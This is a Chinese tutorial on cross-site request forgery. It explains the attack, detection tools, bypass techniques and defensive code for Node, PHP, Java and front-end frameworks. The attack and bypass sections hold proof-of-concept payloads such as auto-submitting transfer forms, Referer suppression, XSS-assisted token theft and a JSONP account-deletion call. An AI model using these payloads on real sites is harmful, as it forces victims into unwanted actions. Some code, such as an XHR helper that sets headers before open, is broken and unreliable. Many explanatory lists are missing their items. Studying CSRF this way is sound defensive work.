
跨站请求伪造(Cross-Site Request Forgery,简称CSRF)是一种常见的Web安全漏洞,攻击者通过欺骗用户在已登录的Web应用上执行非预期的操作。与XSS攻击不同,CSRF攻击并不直接窃取用户数据,而是利用用户已有的身份认证状态来执行未授权的操作。
CSRF攻击的核心原理在于:当用户访问恶意网站时,恶意网站可以构造针对目标网站的请求,并利用浏览器的Cookie自动携带机制,将这些请求发送到目标网站。由于请求携带了用户有效的身份认证信息,目标网站会认为这是用户本人发起的合法操作,从而执行相应的功能。
CSRF攻击可能导致以下严重后果:
根据最新的安全统计,CSRF攻击在2024-2025年仍然是Web应用安全的主要威胁之一,特别是在缺乏现代防御机制的传统应用中更为普遍。
CSRF攻击具有以下几个显著特点:
CSRF攻击的完整工作流程可以分为以下几个关键步骤:
下面是一个简单的CSRF攻击流程示意图:
用户 → 登录网站A → 获得Cookie → 访问恶意网站B →
恶意网站B → 构造请求 → 自动携带Cookie → 发送到网站A →
网站A服务器 → 验证Cookie有效 → 执行恶意操作根据攻击请求的类型和实施方式,CSRF攻击可以分为以下几类:
GET型CSRF攻击是最简单的一种形式,攻击者通过URL参数构造恶意请求。这种攻击通常利用<img>、<a>等标签自动加载或用户点击来触发。
例如,一个针对银行转账的GET型CSRF攻击链接可能如下:
<img src="https://bank.example.com/transfer?to=attacker&amount=10000" style="display:none">当用户访问包含此图片标签的页面时,浏览器会自动发送GET请求到银行网站,尝试执行转账操作。
POST型CSRF攻击相对复杂,攻击者需要构造一个包含恶意表单的页面,并通过JavaScript自动提交或诱导用户点击提交。
典型的POST型CSRF攻击页面代码如下:
<body onload="document.getElementById('csrfForm').submit()">
<form id="csrfForm" action="https://bank.example.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
</body>当用户访问此页面时,表单会自动提交,执行POST请求进行转账操作。
随着Web技术的发展,攻击者也开始利用XMLHttpRequest(XHR)或Fetch API发起CSRF攻击。不过,由于浏览器的同源策略限制,这种攻击通常需要配合XSS漏洞才能成功。
要成功实施CSRF攻击,通常需要满足以下条件:
手动识别CSRF漏洞是安全测试的基础步骤,通常可以通过以下方法进行:
首先,对Web应用的功能进行全面分析,特别关注那些可能导致状态改变的操作:
这些操作通常是CSRF攻击的主要目标,因为它们可以直接影响用户或系统的状态。
分析Web应用的请求模式,检查是否存在CSRF漏洞的迹象:
一旦怀疑存在CSRF漏洞,可以通过以下步骤进行验证:
使用自动化工具可以更高效地识别CSRF漏洞:
OWASP ZAP是一款强大的开源安全测试工具,可以帮助识别CSRF漏洞:
使用步骤:
ZAP会自动检测是否存在CSRF令牌、令牌是否有效,以及是否存在可被CSRF攻击利用的端点。
Burp Suite是专业的Web应用安全测试工具,其Scanner组件可以识别CSRF漏洞:
使用步骤:
Burp Suite的Scanner能够智能地识别CSRF保护机制的缺失或实现不当的情况。
CSRF Tester是专门用于测试CSRF漏洞的工具:
主要功能:
对于复杂的应用,可以编写自定义脚本来测试CSRF漏洞:
Python脚本示例:
import requests
from bs4 import BeautifulSoup
session = requests.Session()
# 1. 登录应用
def login(target_url, username, password):
# 获取登录页面以获取CSRF令牌
login_page = session.get(f"{target_url}/login")
soup = BeautifulSoup(login_page.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
# 发送登录请求
login_data = {
'username': username,
'password': password,
'csrf_token': csrf_token
}
response = session.post(f"{target_url}/login", data=login_data)
print(f"Login status: {response.status_code}")
return response.status_code == 200
# 2. 测试CSRF漏洞
def test_csrf(target_url, vulnerable_endpoint, params):
# 正常请求(带会话cookie)
print("Testing legitimate request...")
legitimate_response = session.get(f"{target_url}/{vulnerable_endpoint}", params=params)
print(f"Legitimate request status: {legitimate_response.status_code}")
# 创建CSRF测试请求
csrf_test_url = f"{target_url}/{vulnerable_endpoint}"
print(f"CSRF test URL: {csrf_test_url}")
# 分析响应,检查是否存在CSRF保护
if 'csrf_token' in legitimate_response.text:
print("Warning: CSRF token detected, but may be improperly implemented")
else:
print("CRITICAL: No CSRF token found in response!")
return legitimate_response
# 3. 执行测试
if __name__ == "__main__":
target = "https://example.com"
login_success = login(target, "test_user", "test_password")
if login_success:
# 测试账户信息修改功能
test_csrf(target, "update_profile", {"email": "new@example.com"})
# 测试密码修改功能
test_csrf(target, "change_password", {"new_password": "csrf_test123"})在进行CSRF测试时,需要注意以下几点:
Referer验证是一种常见的CSRF防御机制,但存在多种绕过方法:
一些Web应用在Referer头缺失时会默认允许请求。攻击者可以通过以下方式使请求不包含Referer头:
<meta name="referrer" content="never">阻止发送Referer绕过示例:
<!DOCTYPE html>
<html>
<head>
<meta name="referrer" content="never">
</head>
<body>
<form id="csrfForm" action="https://target.com/action" method="POST">
<input type="hidden" name="parameter" value="malicious_value">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>在某些情况下,攻击者可以伪造Referer头:
一些应用只检查Referer是否包含特定字符串,攻击者可以构造满足条件的URL:
绕过示例:
<!DOCTYPE html>
<html>
<body>
<!-- 如果目标应用只检查Referer是否包含"example.com" -->
<!-- 攻击者可以注册类似"csrf-example.com"的域名 -->
<img src="https://target.com/transfer?to=attacker&amount=1000">
</body>
</html>CSRF令牌是最常见的防御机制,但也存在多种绕过方法:
如果应用允许同一令牌被多次使用,攻击者可以:
如果CSRF令牌的生成算法存在缺陷,可能被绕过:
应用在验证CSRF令牌时可能存在逻辑错误:
绕过示例:
<script>
// 假设目标应用只验证令牌的前10个字符
const partialToken = "abcdefghij"; // 从合法页面获取的前10个字符
const maliciousToken = partialToken + "0000000000"; // 拼接无效部分
// 构造恶意请求
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://target.com/action', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(`parameter=malicious&csrf_token=${maliciousToken}`);
</script>SameSite Cookie是一种新兴的防御机制,但也存在绕过方法:
对于设置为SameSite=Lax的Cookie:
绕过示例:
<!DOCTYPE html>
<html>
<body>
<h1>查看您的奖品!</h1>
<a href="https://target.com/transfer?to=attacker&amount=1000">点击领取奖品</a>
<!-- 如果用户主动点击此链接,Lax模式的Cookie会被发送 -->
</body>
</html>不同浏览器对SameSite标准的实现可能存在差异:
通过多次重定向可以绕过某些SameSite保护:
CSRF与XSS漏洞结合使用时,防御难度大大增加:
绕过示例:
// 假设存在XSS漏洞,这段代码可以在目标页面执行
const csrfToken = document.querySelector('input[name="csrf_token"]').value;
const xhr = new XMLHttpRequest();
xhr.open('POST', '/transfer', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(`to=attacker&amount=1000&csrf_token=${csrfToken}`);不正确的CORS配置可能被用来绕过CSRF防御:
配置错误示例:
// 错误的CORS配置(允许任意源并携带凭据)
app.use(cors({
origin: '*', // 允许任意源
credentials: true // 允许携带凭据
}));JSONP端点可能被滥用于CSRF攻击:
绕过示例:
<!DOCTYPE html>
<html>
<body>
<script>
// 定义回调函数处理JSONP响应
function processData(data) {
console.log('CSRF attack successful!', data);
}
// 创建script标签加载JSONP端点
const script = document.createElement('script');
script.src = 'https://target.com/api/jsonp?callback=processData&action=delete_account';
document.body.appendChild(script);
</script>
</body>
</html>虽然Flash等插件正在被淘汰,但仍可能被用于CSRF攻击:
同步令牌模式是最经典、最有效的CSRF防御机制之一:
同步令牌模式的工作原理如下:
在实现同步令牌模式时,需要注意以下几点:
以下是同步令牌模式的基本实现示例:
服务器端(Node.js/Express):
const crypto = require('crypto');
const express = require('express');
const session = require('express-session');
const app = express();
// 配置会话中间件
app.use(session({
secret: 'your-secret-key',
resave: false,
saveUninitialized: false
}));
// 生成CSRF令牌的中间件
app.use((req, res, next) => {
// 如果会话中没有CSRF令牌,生成一个新的
if (!req.session.csrfToken) {
req.session.csrfToken = crypto.randomBytes(32).toString('hex');
}
// 将令牌传递给视图
res.locals.csrfToken = req.session.csrfToken;
next();
});
// 验证CSRF令牌的中间件
function csrfProtection(req, res, next) {
// 对于GET等安全方法,不需要验证CSRF令牌
if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
return next();
}
// 获取请求中的CSRF令牌
const token = req.body.csrfToken || req.headers['x-csrf-token'];
// 验证令牌
if (!token || token !== req.session.csrfToken) {
return res.status(403).send('CSRF token validation failed');
}
next();
}
// 应用CSRF保护
app.post('/protected-action', csrfProtection, (req, res) => {
// 处理受保护的操作
res.send('Action processed successfully');
});客户端(HTML):
<form action="/protected-action" method="POST">
<!-- 隐藏的CSRF令牌字段 -->
<input type="hidden" name="csrfToken" value="<%= csrfToken %>">
<!-- 其他表单字段 -->
<input type="text" name="username" placeholder="Username">
<button type="submit">Submit</button>
</form>双重提交Cookie模式是一种无状态的CSRF防御机制:
双重提交Cookie模式的工作原理如下:
在实现双重提交Cookie模式时,需要注意以下几点:
以下是双重提交Cookie模式的实现示例:
服务器端(Node.js/Express):
const crypto = require('crypto');
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());
app.use(express.urlencoded({ extended: true }));
// 设置CSRF令牌Cookie的中间件
app.use((req, res, next) => {
// 如果cookie中没有CSRF令牌,生成一个新的
if (!req.cookies.csrfToken) {
const csrfToken = crypto.randomBytes(32).toString('hex');
res.cookie('csrfToken', csrfToken, {
secure: true,
sameSite: 'lax',
httpOnly: false // 允许JavaScript读取
});
}
next();
});
// 验证CSRF令牌的中间件
function csrfProtection(req, res, next) {
// 对于安全方法,不需要验证
if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
return next();
}
// 获取请求中的令牌和Cookie中的令牌
const tokenFromBody = req.body.csrfToken;
const tokenFromHeader = req.headers['x-csrf-token'];
const tokenFromCookie = req.cookies.csrfToken;
const token = tokenFromBody || tokenFromHeader;
// 验证令牌
if (!token || token !== tokenFromCookie) {
return res.status(403).send('CSRF token validation failed');
}
next();
}
// 应用CSRF保护
app.post('/protected-action', csrfProtection, (req, res) => {
res.send('Action processed successfully');
});客户端(JavaScript):
// 从Cookie中获取CSRF令牌
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
const csrfToken = getCookie('csrfToken');
// 在Ajax请求中添加CSRF令牌
fetch('/protected-action', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({ data: 'value' })
});SameSite Cookie是一种现代的防御机制,可以有效防止CSRF攻击:
SameSite Cookie通过限制Cookie在跨站请求中的发送行为来防御CSRF攻击:
在使用SameSite Cookie时,需要注意以下几点:
以下是设置SameSite Cookie的示例:
Node.js/Express:
const express = require('express');
const session = require('express-session');
const app = express();
app.use(session({
secret: 'your-secret-key',
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true, // 只通过HTTPS传输
sameSite: 'strict' // 阻止所有跨站请求中的Cookie发送
}
}));PHP:
// 设置SameSite Cookie
setcookie('session_id', session_id(), [
'expires' => time() + 3600,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);Java/Servlet:
// 设置SameSite Cookie
Cookie cookie = new Cookie("sessionId", sessionId);
cookie.setHttpOnly(true);
cookie.setSecure(true);
cookie.setPath("/");
cookie.setAttribute("SameSite", "Strict"); // Servlet 3.0+ 支持
response.addCookie(cookie);验证请求的来源(Referer或Origin头)是一种简单有效的CSRF防御机制:
Referer/Origin验证的工作原理如下:
在实现Referer/Origin验证时,需要注意以下几点:
以下是Referer/Origin验证的实现示例:
Node.js/Express:
const express = require('express');
const url = require('url');
const app = express();
// 定义允许的来源域名
const ALLOWED_ORIGINS = ['https://example.com', 'https://www.example.com'];
// Referer/Origin验证中间件
function validateRefererOrOrigin(req, res, next) {
// 对于安全方法,不需要验证
if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
return next();
}
// 获取Origin头
const origin = req.headers.origin;
// 如果有Origin头,验证它
if (origin) {
if (ALLOWED_ORIGINS.includes(origin)) {
return next();
} else {
return res.status(403).send('Invalid Origin');
}
}
// 如果没有Origin头,检查Referer头
const referer = req.headers.referer;
if (referer) {
try {
const refererUrl = new URL(referer);
const refererOrigin = `${refererUrl.protocol}//${refererUrl.host}`;
if (ALLOWED_ORIGINS.includes(refererOrigin)) {
return next();
}
} catch (e) {
// 解析Referer失败,拒绝请求
}
}
// 验证失败,拒绝请求
return res.status(403).send('Invalid or missing Referer/Origin');
}
// 应用验证中间件
app.post('/protected-action', validateRefererOrOrigin, (req, res) => {
res.send('Action processed successfully');
});对于敏感操作,实施多因素认证或二次验证是一种有效的防御措施:
多因素认证与二次验证的工作原理如下:
在实现多因素认证与二次验证时,需要注意以下几点:
以下是二次验证的实现示例:
服务器端(验证API):
// 生成并发送验证码
app.post('/generate-verify-code', authenticate, (req, res) => {
// 生成6位数字验证码
const verifyCode = Math.floor(100000 + Math.random() * 900000).toString();
// 存储验证码到会话中(5分钟过期)
req.session.verifyCode = verifyCode;
req.session.verifyCodeExpires = Date.now() + 300000;
// 发送验证码到用户手机/邮箱
sendVerificationCode(req.user, verifyCode);
res.json({ success: true, message: 'Verification code sent' });
});
// 验证并执行敏感操作
app.post('/sensitive-action', authenticate, (req, res) => {
const { verifyCode, ...actionParams } = req.body;
// 检查验证码是否存在且未过期
if (!req.session.verifyCode ||
Date.now() > req.session.verifyCodeExpires ||
verifyCode !== req.session.verifyCode) {
return res.status(403).json({
success: false,
message: 'Invalid or expired verification code'
});
}
// 验证码有效,执行敏感操作
executeSensitiveAction(req.user, actionParams);
// 清除验证码(一次性使用)
delete req.session.verifyCode;
delete req.session.verifyCodeExpires;
res.json({ success: true, message: 'Action executed successfully' });
});客户端(请求验证码并验证):
// 请求生成验证码
async function requestVerifyCode() {
try {
const response = await fetch('/generate-verify-code', {
method: 'POST',
credentials: 'include'
});
const data = await response.json();
if (data.success) {
// 显示验证码输入框
showVerifyCodeInput();
}
} catch (error) {
console.error('Error requesting verify code:', error);
}
}
// 提交验证和执行操作
async function submitWithVerification(actionData) {
const verifyCode = document.getElementById('verifyCode').value;
try {
const response = await fetch('/sensitive-action', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
credentials: 'include',
body: JSON.stringify({ ...actionData, verifyCode })
});
const data = await response.json();
if (data.success) {
alert('操作执行成功');
} else {
alert(data.message);
}
} catch (error) {
console.error('Error submitting action:', error);
}
}
## 第六章 前端防御实现
### 6.1 动态表单提交与CSRF保护
在前端实现中,确保所有表单提交都包含CSRF令牌是防御CSRF攻击的重要环节:
#### 6.1.1 表单中的CSRF令牌
**HTML表单实现**:
```html
<!-- 在表单中嵌入CSRF令牌 -->
<form id="userForm" action="/update-profile" method="POST">
<input type="hidden" name="csrfToken" id="csrfToken" value="<%= csrfToken %>">
<div class="form-group">
<label for="email">Email Address:</label>
<input type="email" id="email" name="email" required>
</div>
<div class="form-group">
<label for="phone">Phone Number:</label>
<input type="tel" id="phone" name="phone">
</div>
<button type="submit" class="btn-submit">Update Profile</button>
</form>对于动态生成的表单,可以通过JavaScript动态添加CSRF令牌:
// 从页面获取CSRF令牌
const getCSRFToken = () => {
return document.getElementById('csrfToken').value;
};
// 创建动态表单并添加CSRF令牌
const createDynamicForm = (actionUrl, formData) => {
const form = document.createElement('form');
form.method = 'POST';
form.action = actionUrl;
form.style.display = 'none'; // 隐藏表单
// 添加CSRF令牌
const csrfInput = document.createElement('input');
csrfInput.type = 'hidden';
csrfInput.name = 'csrfToken';
csrfInput.value = getCSRFToken();
form.appendChild(csrfInput);
// 添加表单数据
Object.keys(formData).forEach(key => {
const input = document.createElement('input');
input.type = 'hidden';
input.name = key;
input.value = formData[key];
form.appendChild(input);
});
return form;
};
// 动态提交表单的函数
const submitDynamicForm = (actionUrl, formData) => {
const form = createDynamicForm(actionUrl, formData);
document.body.appendChild(form);
form.submit();
document.body.removeChild(form); // 提交后移除表单
};
// 使用示例
document.getElementById('updateBtn').addEventListener('click', () => {
submitDynamicForm('/update-settings', {
notifications: 'enabled',
theme: 'dark'
});
});使用事件监听器拦截表单提交,确保CSRF令牌的有效性:
// 拦截所有表单提交
const enhanceFormSecurity = () => {
const forms = document.querySelectorAll('form');
forms.forEach(form => {
// 检查是否已有CSRF令牌
if (!form.querySelector('input[name="csrfToken"]')) {
// 添加CSRF令牌
const csrfInput = document.createElement('input');
csrfInput.type = 'hidden';
csrfInput.name = 'csrfToken';
csrfInput.value = getCSRFToken();
form.appendChild(csrfInput);
}
// 拦截提交事件,添加额外安全检查
form.addEventListener('submit', (event) => {
// 验证CSRF令牌是否存在
const csrfToken = form.querySelector('input[name="csrfToken"]');
if (!csrfToken || !csrfToken.value) {
console.error('CSRF token missing or empty');
event.preventDefault();
return;
}
// 可以在这里添加其他安全检查
// ...
console.log('Form submission secured with CSRF token');
});
});
};
// 页面加载完成后增强所有表单
window.addEventListener('DOMContentLoaded', enhanceFormSecurity);在现代Web应用中,Ajax请求是常见的交互方式,需要特别注意CSRF保护:
使用Fetch API发送请求时添加CSRF令牌:
// 基础的安全fetch函数
const secureFetch = async (url, options = {}) => {
// 获取CSRF令牌
const csrfToken = getCSRFToken();
// 合并选项,添加CSRF令牌
const secureOptions = {
...options,
credentials: 'include', // 包含cookies
headers: {
...options.headers,
'X-CSRF-Token': csrfToken,
'Content-Type': 'application/json'
}
};
// 对于GET请求,不修改body
if (options.method && options.method !== 'GET' && options.method !== 'HEAD') {
// 确保请求体是JSON格式
if (options.body && typeof options.body === 'object') {
secureOptions.body = JSON.stringify({
...JSON.parse(options.body),
csrfToken: csrfToken
});
}
}
try {
const response = await fetch(url, secureOptions);
// 检查响应状态
if (!response.ok) {
if (response.status === 403) {
console.error('CSRF token validation failed');
// 可以在这里处理CSRF验证失败的情况,如重定向到登录页
window.location.href = '/login';
}
throw new Error(`HTTP error! status: ${response.status}`);
}
return response;
} catch (error) {
console.error('Secure fetch error:', error);
throw error;
}
};
// 使用示例
const updateUserProfile = async (userData) => {
try {
const response = await secureFetch('/api/user/profile', {
method: 'POST',
body: JSON.stringify(userData)
});
const result = await response.json();
console.log('Profile updated successfully:', result);
return result;
} catch (error) {
console.error('Failed to update profile:', error);
throw error;
}
};对于传统的XMLHttpRequest,也需要添加CSRF保护:
// 创建安全的XMLHttpRequest
const createSecureXHR = () => {
const xhr = new XMLHttpRequest();
// 添加CSRF令牌到请求头
xhr.setRequestHeader('X-CSRF-Token', getCSRFToken());
// 设置其他安全相关配置
xhr.withCredentials = true; // 包含cookies
return xhr;
};
// 使用示例
const submitDataSecurely = (url, data, callback) => {
const xhr = createSecureXHR();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
try {
const response = JSON.parse(xhr.responseText);
callback(null, response);
} catch (e) {
callback(e, null);
}
} else if (xhr.status === 403) {
console.error('CSRF token validation failed');
window.location.href = '/login';
callback(new Error('CSRF validation failed'), null);
} else {
callback(new Error(`HTTP error! status: ${xhr.status}`), null);
}
}
};
// 在请求体中也添加CSRF令牌(双重保障)
const dataWithToken = {
...data,
csrfToken: getCSRFToken()
};
xhr.send(JSON.stringify(dataWithToken));
};使用拦截器统一处理所有Ajax请求的CSRF保护:
// Ajax请求拦截器
class FetchInterceptor {
constructor() {
this.originalFetch = window.fetch;
this.setupInterceptor();
}
setupInterceptor() {
// 保存原始fetch方法
const originalFetch = window.fetch;
// 重写全局fetch方法
window.fetch = async (url, options = {}) => {
// 获取CSRF令牌
const csrfToken = this.getCSRFToken();
// 增强请求选项
const enhancedOptions = {
...options,
credentials: 'include',
headers: {
...options.headers,
'X-CSRF-Token': csrfToken
}
};
// 处理非GET请求
if (options.method && !['GET', 'HEAD'].includes(options.method)) {
// 确保请求体包含CSRF令牌
if (enhancedOptions.body && typeof enhancedOptions.body === 'string') {
try {
const bodyObj = JSON.parse(enhancedOptions.body);
enhancedOptions.body = JSON.stringify({
...bodyObj,
csrfToken
});
} catch (e) {
// 如果不是JSON字符串,不做处理
}
}
}
// 调用原始fetch方法
try {
const response = await originalFetch(url, enhancedOptions);
// 检查CSRF验证失败
if (response.status === 403) {
this.handleCSRFError();
}
return response;
} catch (error) {
console.error('Fetch error:', error);
throw error;
}
};
}
getCSRFToken() {
// 从DOM或Cookie获取CSRF令牌
const tokenElement = document.querySelector('meta[name="csrf-token"]');
if (tokenElement) {
return tokenElement.getAttribute('content');
}
// 备用方法:从Cookie获取
const match = document.cookie.match(/csrfToken=([^;]+)/);
return match ? match[1] : '';
}
handleCSRFError() {
console.error('CSRF token validation failed');
// 可以添加用户提示或重定向
alert('会话已过期,请重新登录');
setTimeout(() => {
window.location.href = '/login';
}, 1000);
}
// 恢复原始fetch方法
restoreOriginalFetch() {
window.fetch = this.originalFetch;
}
}
// 初始化拦截器
const fetchInterceptor = new FetchInterceptor();现代前端框架如React、Vue和Angular都提供了CSRF保护的集成方案:
在React应用中实现CSRF保护:
// src/utils/csrf.js
// CSRF工具函数
export const getCSRFToken = () => {
const tokenElement = document.querySelector('meta[name="csrf-token"]');
return tokenElement ? tokenElement.getAttribute('content') : '';
};
// 创建带有CSRF保护的fetch函数
export const secureFetch = async (url, options = {}) => {
const csrfToken = getCSRFToken();
const secureOptions = {
...options,
credentials: 'include',
headers: {
...options.headers,
'X-CSRF-Token': csrfToken,
'Content-Type': 'application/json'
}
};
if (options.method && !['GET', 'HEAD'].includes(options.method)) {
if (options.body && typeof options.body === 'object') {
secureOptions.body = JSON.stringify(options.body);
}
}
try {
const response = await fetch(url, secureOptions);
if (response.status === 403) {
console.error('CSRF validation failed');
window.location.href = '/login';
}
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response;
} catch (error) {
console.error('Secure fetch error:', error);
throw error;
}
};
// src/api/user.js
// 使用CSRF保护的API调用
export const updateProfile = async (profileData) => {
const response = await secureFetch('/api/profile', {
method: 'PUT',
body: profileData
});
return response.json();
};
// src/components/SecureForm.js
// 安全表单组件
import React from 'react';
import { getCSRFToken } from '../utils/csrf';
const SecureForm = ({ children, onSubmit, ...props }) => {
const handleSubmit = (e) => {
e.preventDefault();
const formData = new FormData(e.target);
// 确保CSRF令牌被包含在表单数据中
if (!formData.has('csrfToken')) {
formData.append('csrfToken', getCSRFToken());
}
// 转换为对象格式
const data = Object.fromEntries(formData.entries());
// 调用提交回调
onSubmit(data, e);
};
return (
<form onSubmit={handleSubmit} {...props}>
<input type="hidden" name="csrfToken" value={getCSRFToken()} />
{children}
</form>
);
};
export default SecureForm;在Vue.js应用中实现CSRF保护:
// src/plugins/csrf.js
// Vue CSRF插件
const csrfPlugin = {
install(Vue) {
// 获取CSRF令牌的方法
Vue.prototype.$getCSRFToken = function() {
const tokenElement = document.querySelector('meta[name="csrf-token"]');
return tokenElement ? tokenElement.getAttribute('content') : '';
};
// 安全的axios实例
Vue.prototype.$secureAxios = function() {
const axios = require('axios');
// 创建axios实例
const instance = axios.create({
baseURL: '/api',
withCredentials: true
});
// 请求拦截器
instance.interceptors.request.use(
config => {
// 添加CSRF令牌到请求头
config.headers['X-CSRF-Token'] = this.$getCSRFToken();
return config;
},
error => {
return Promise.reject(error);
}
);
// 响应拦截器
instance.interceptors.response.use(
response => response,
error => {
// 处理CSRF验证失败
if (error.response && error.response.status === 403) {
console.error('CSRF validation failed');
window.location.href = '/login';
}
return Promise.reject(error);
}
);
return instance;
};
}
};
export default csrfPlugin;
// src/main.js
// 注册插件
import Vue from 'vue';
import csrfPlugin from './plugins/csrf';
Vue.use(csrfPlugin);
// src/components/SecureForm.vue
// 安全表单组件
<template>
<form @submit.prevent="handleSubmit" v-bind="$attrs">
<input type="hidden" name="csrfToken" :value="csrfToken">
<slot></slot>
</form>
</template>
<script>
export default {
name: 'SecureForm',
computed: {
csrfToken() {
return this.$getCSRFToken();
}
},
methods: {
handleSubmit(event) {
const formData = new FormData(event.target);
const data = {};
formData.forEach((value, key) => {
data[key] = value;
});
this.$emit('submit', data, event);
}
}
};
</script>在Angular应用中实现CSRF保护:
// src/app/services/csrf.service.ts
// CSRF服务
import { Injectable } from '@angular/core';
import { HttpClient, HttpXsrfTokenExtractor } from '@angular/common/http';
import { Router } from '@angular/router';
@Injectable({
providedIn: 'root'
})
export class CsrfService {
constructor(
private tokenExtractor: HttpXsrfTokenExtractor,
private router: Router
) {}
// 获取CSRF令牌
getCSRFToken(): string {
// 使用Angular内置的令牌提取器
const token = this.tokenExtractor.getToken();
if (!token) {
// 备用方法:从DOM获取
const tokenElement = document.querySelector('meta[name="csrf-token"]');
return tokenElement ? tokenElement.getAttribute('content') || '' : '';
}
return token as string;
}
// 处理CSRF错误
handleCSRFError(): void {
console.error('CSRF token validation failed');
// 显示错误提示并导航到登录页
alert('会话已过期,请重新登录');
this.router.navigate(['/login']);
}
}
// src/app/services/http.service.ts
// 增强的HTTP服务
import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders, HttpInterceptorFn } from '@angular/common/http';
import { CsrfService } from './csrf.service';
@Injectable({
providedIn: 'root'
})
export class HttpService {
constructor(
private http: HttpClient,
private csrfService: CsrfService
) {}
// 增强的GET请求
get<T>(url: string, options = {}): Promise<T> {
const headers = new HttpHeaders({
'X-CSRF-Token': this.csrfService.getCSRFToken()
});
return this.http.get<T>(url, {
...options,
headers,
withCredentials: true
}).toPromise();
}
// 增强的POST请求
post<T>(url: string, body: any, options = {}): Promise<T> {
const headers = new HttpHeaders({
'X-CSRF-Token': this.csrfService.getCSRFToken(),
'Content-Type': 'application/json'
});
// 在请求体中也添加CSRF令牌
const bodyWithToken = {
...body,
csrfToken: this.csrfService.getCSRFToken()
};
return this.http.post<T>(url, bodyWithToken, {
...options,
headers,
withCredentials: true
}).toPromise();
}
}
// src/app/interceptors/csrf.interceptor.ts
// CSRF拦截器
import { HttpInterceptorFn } from '@angular/common/http';
import { CsrfService } from '../services/csrf.service';
import { inject } from '@angular/core';
export const csrfInterceptor: HttpInterceptorFn = (req, next) => {
const csrfService = inject(CsrfService);
const csrfToken = csrfService.getCSRFToken();
// 克隆请求并添加CSRF令牌
const clonedRequest = req.clone({
headers: req.headers.set('X-CSRF-Token', csrfToken),
withCredentials: true
});
// 处理响应
return next(clonedRequest).pipe(
catchError((error) => {
// 处理CSRF验证失败
if (error.status === 403) {
csrfService.handleCSRFError();
}
return throwError(() => error);
})
);
};
// 添加必要的导入
import { catchError, throwError } from 'rxjs';正确管理客户端存储对于CSRF保护也很重要:
在客户端存储CSRF令牌时的最佳实践:
// CSRF令牌存储管理
class CsrfTokenManager {
constructor() {
this.tokenKey = 'app_csrf_token';
}
// 存储CSRF令牌
storeToken(token) {
try {
// 使用sessionStorage存储(会话结束后自动清除)
sessionStorage.setItem(this.tokenKey, token);
console.log('CSRF token stored securely');
} catch (error) {
console.error('Failed to store CSRF token:', error);
}
}
// 获取CSRF令牌
getToken() {
try {
// 优先从sessionStorage获取
const token = sessionStorage.getItem(this.tokenKey);
if (token) {
return token;
}
// 从DOM或Cookie获取作为备用
return this.getTokenFromDOM() || this.getTokenFromCookie();
} catch (error) {
console.error('Failed to retrieve CSRF token:', error);
return '';
}
}
// 从DOM获取令牌
getTokenFromDOM() {
const tokenMeta = document.querySelector('meta[name="csrf-token"]');
return tokenMeta ? tokenMeta.getAttribute('content') || '' : '';
}
// 从Cookie获取令牌(需要HttpOnly=false)
getTokenFromCookie() {
const cookieValue = document.cookie
.split('; ')
.find(row => row.startsWith(`${this.tokenKey}=`))
?.split('=')[1];
return cookieValue ? decodeURIComponent(cookieValue) : '';
}
// 清除存储的令牌
clearToken() {
try {
sessionStorage.removeItem(this.tokenKey);
console.log('CSRF token cleared');
} catch (error) {
console.error('Failed to clear CSRF token:', error);
}
}
// 验证令牌有效性(客户端验证)
validateToken(token) {
if (!token) {
return false;
}
// 简单验证:检查长度和字符集
const minLength = 32; // 根据实际令牌长度调整
const validPattern = /^[a-zA-Z0-9+/]+={0,2}$/; // 假设是base64编码
return token.length >= minLength && validPattern.test(token);
}
}
// 创建单例实例
const csrfManager = new CsrfTokenManager();对于更高安全性要求的应用,可以考虑在内存中管理CSRF令牌:
// 内存中的CSRF令牌管理器(不持久化存储)
class MemoryCsrfManager {
constructor() {
// 使用WeakMap存储令牌,避免内存泄漏
this.tokenStore = new WeakMap();
this.currentToken = null;
this.tokenTimestamp = null;
this.tokenLifetime = 3600000; // 1小时有效期
}
// 设置当前令牌
setToken(token) {
if (!token) {
console.error('Invalid CSRF token');
return;
}
this.currentToken = token;
this.tokenTimestamp = Date.now();
console.log('CSRF token set in memory');
}
// 获取当前令牌(带有效性检查)
getToken() {
// 检查令牌是否存在且有效
if (!this.currentToken) {
console.warn('No CSRF token available');
return null;
}
// 检查令牌是否过期
if (this.isTokenExpired()) {
console.warn('CSRF token expired');
this.currentToken = null;
return null;
}
return this.currentToken;
}
// 检查令牌是否过期
isTokenExpired() {
if (!this.tokenTimestamp) {
return true;
}
return Date.now() - this.tokenTimestamp > this.tokenLifetime;
}
// 清除令牌
clearToken() {
this.currentToken = null;
this.tokenTimestamp = null;
console.log('CSRF token cleared from memory');
}
// 为特定请求上下文存储令牌
setContextToken(context, token) {
// context通常是一个请求对象或组件实例
if (context && token) {
this.tokenStore.set(context, { token, timestamp: Date.now() });
}
}
// 获取特定上下文的令牌
getContextToken(context) {
const tokenData = this.tokenStore.get(context);
if (!tokenData) {
return null;
}
// 检查是否过期
if (Date.now() - tokenData.timestamp > this.tokenLifetime) {
this.tokenStore.delete(context);
return null;
}
return tokenData.token;
}
}
// 创建单例
